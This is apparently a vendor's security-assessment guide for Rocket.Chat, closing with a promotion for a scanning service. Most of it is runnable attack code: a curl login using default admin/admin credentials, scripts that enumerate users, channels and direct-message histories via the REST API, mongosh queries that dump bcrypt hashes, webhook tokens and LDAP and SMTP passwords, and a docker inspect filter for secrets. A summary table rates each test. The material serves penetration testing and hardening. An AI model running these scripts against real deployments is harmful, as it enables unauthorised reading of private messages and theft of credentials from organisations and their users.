Rocket.Chat is a widely deployed open-source self-hosted team messaging platform used as a Slack alternative in enterprises, government agencies, and critical infrastructure organizations. It stores all messaging data — channels, direct messages, file uploads, and integrations — in a MongoDB database. Key assessment areas: Rocket.Chat defaults to admin/admin; the REST API token provides full access to all channels and direct messages; integration tokens and incoming webhook URLs allow posting without authentication; the MongoDB rocketchat database contains all messages, bcrypt user hashes, and the complete integration token inventory; Docker deployments may expose ADMIN_PASS in environment variables; and LDAP bind credentials are stored in the rocketchat_settings collection. This guide covers systematic Rocket.Chat security assessment.
# Rocket.Chat — default credentials and REST API authentication
RC_URL="https://rocketchat.example.com"
# Default credentials: admin / admin (also try admin / rocketchat)
# REST API login returns X-Auth-Token and X-User-Id for subsequent requests
RC_RESPONSE=$(curl -s -X POST "${RC_URL}/api/v1/login" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin"}' 2>/dev/null)
echo "$RC_RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('status') == 'success':
data = d.get('data',{})
print(f'Login successful!')
print(f'X-Auth-Token: {data.get(\"authToken\")}')
print(f'X-User-Id: {data.get(\"userId\")}')
print(f'Username: {data.get(\"me\",{}).get(\"username\")}')
roles = data.get('me',{}).get('roles',[])
print(f'Roles: {roles}')
else:
print(f'Login failed: {d.get(\"message\")}')
" 2>/dev/null
# Set auth headers for subsequent requests
RC_TOKEN="your-auth-token"
RC_USER_ID="your-user-id"
# Enumerate all users (admin access)
curl -s "${RC_URL}/api/v1/users.list?count=200" \
-H "X-Auth-Token: ${RC_TOKEN}" \
-H "X-User-Id: ${RC_USER_ID}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('users',[])
print(f'Users: {d.get(\"total\",0)}')
for u in users[:20]:
print(f' [{u.get(\"_id\")}] {u.get(\"username\")} email={u.get(\"emails\",[{}])[0].get(\"address\",\"\")} roles={u.get(\"roles\")}')
" 2>/dev/null
# Rocket.Chat channel and direct message enumeration
RC_URL="https://rocketchat.example.com"
RC_TOKEN="your-auth-token"
RC_USER_ID="your-user-id"
AUTH="-H \"X-Auth-Token: ${RC_TOKEN}\" -H \"X-User-Id: ${RC_USER_ID}\""
# List all channels the user can see
curl -s "${RC_URL}/api/v1/channels.list?count=200" \
-H "X-Auth-Token: ${RC_TOKEN}" \
-H "X-User-Id: ${RC_USER_ID}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
channels = d.get('channels',[])
print(f'Channels: {d.get(\"total\",0)}')
for c in channels[:20]:
print(f' [{c.get(\"_id\")}] #{c.get(\"name\")} members={c.get(\"usersCount\")} msgs={c.get(\"msgs\")} type={c.get(\"t\")}')
" 2>/dev/null
# Read channel message history
CHANNEL_ID="channel_id"
curl -s "${RC_URL}/api/v1/channels.messages?roomId=${CHANNEL_ID}&count=100" \
-H "X-Auth-Token: ${RC_TOKEN}" \
-H "X-User-Id: ${RC_USER_ID}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
msgs = d.get('messages',[])
print(f'Messages: {d.get(\"total\",0)}')
for m in msgs[:20]:
print(f' [{m.get(\"ts\")}] {m.get(\"u\",{}).get(\"username\")}: {m.get(\"msg\",\"\")[:120]}')
" 2>/dev/null
# Direct messages — list all DM rooms the user is in
curl -s "${RC_URL}/api/v1/dm.list?count=100" \
-H "X-Auth-Token: ${RC_TOKEN}" \
-H "X-User-Id: ${RC_USER_ID}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
dms = d.get('ims',[])
print(f'DM conversations: {len(dms)}')
for dm in dms[:10]:
print(f' Room: {dm.get(\"_id\")} users={dm.get(\"usernames\")} msgs={dm.get(\"msgs\")}')
" 2>/dev/null
# Rocket.Chat MongoDB data extraction
# Default MongoDB connection: mongodb://localhost:27017/rocketchat
# Connect to Rocket.Chat MongoDB instance
mongosh rocketchat --quiet 2>/dev/null << 'EOF'
// User accounts with bcrypt hashes
db.users.find({},{username:1,emails:1,roles:1,"services.password.bcrypt":1}).limit(20).forEach(u => {
print(JSON.stringify({
id: u._id,
username: u.username,
email: (u.emails||[{address:''}])[0].address,
roles: u.roles,
hash: u.services?.password?.bcrypt
}));
});
EOF
# Integration tokens — webhook and bot tokens
mongosh rocketchat --quiet 2>/dev/null << 'EOF'
db.integrations.find({},{name:1,type:1,token:1,channel:1,urls:1,scriptEnabled:1}).forEach(i => {
print(JSON.stringify({
name: i.name,
type: i.type,
token: i.token,
channel: i.channel,
url: i.urls
}));
});
// Incoming webhook token: POST /hooks/{token} to post without auth
EOF
# LDAP credentials in rocketchat_settings collection
mongosh rocketchat --quiet 2>/dev/null << 'EOF'
db.rocketchat_settings.find(
{_id: {$in: ['LDAP_Server_URL', 'LDAP_Bind_DN',
'LDAP_Bind_Password', 'LDAP_Authentication_Password',
'SMTP_Password', 'Email_SMTP_Password']}},
{_id:1, value:1}
).forEach(s => print(s._id + ': ' + s.value));
EOF
# Docker environment — ADMIN_PASS may be set
docker inspect rocketchat 2>/dev/null | python3 -c "
import json,sys
try:
containers=json.load(sys.stdin)
for c in containers:
env = c.get('Config',{}).get('Env',[])
for e in env:
if any(k in e for k in ['ADMIN','MONGO','PASSWORD','SECRET']):
print(e)
except: pass
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Default admin/admin credential exploitation | POST /api/v1/login with admin:admin — returns X-Auth-Token and X-User-Id; admin role provides full access to all channels, DMs, users, integrations, and system settings | Critical |
| Integration token extraction for webhook abuse | MongoDB query on integrations collection — token field per integration; incoming webhook POST /hooks/{token} allows posting to any configured channel without user authentication | High |
| Complete message history enumeration | GET /api/v1/channels.messages and /api/v1/dm.messages — returns all messages in every channel and direct message conversation accessible to the authenticated user | Critical |
| MongoDB user hash and credential extraction | MongoDB query on users collection — services.password.bcrypt for all users; rocketchat_settings for LDAP_Bind_Password and SMTP_Password; all messages in messages collection | Critical |
| Docker ADMIN_PASS environment variable exposure | docker inspect rocketchat — Config.Env array may contain ADMIN_PASS, MONGO_URL with credentials, and other sensitive values readable by any Docker socket user | Critical |
Ironimo tests Rocket.Chat deployments for default admin credential exploitation, REST API channel and direct message enumeration, MongoDB integration token harvesting, webhook abuse testing, LDAP bind credential extraction from rocketchat_settings, Docker environment variable secret exposure, admin user enumeration with email addresses, personal access token lifecycle assessment, and unauthenticated endpoint enumeration.
Start free scan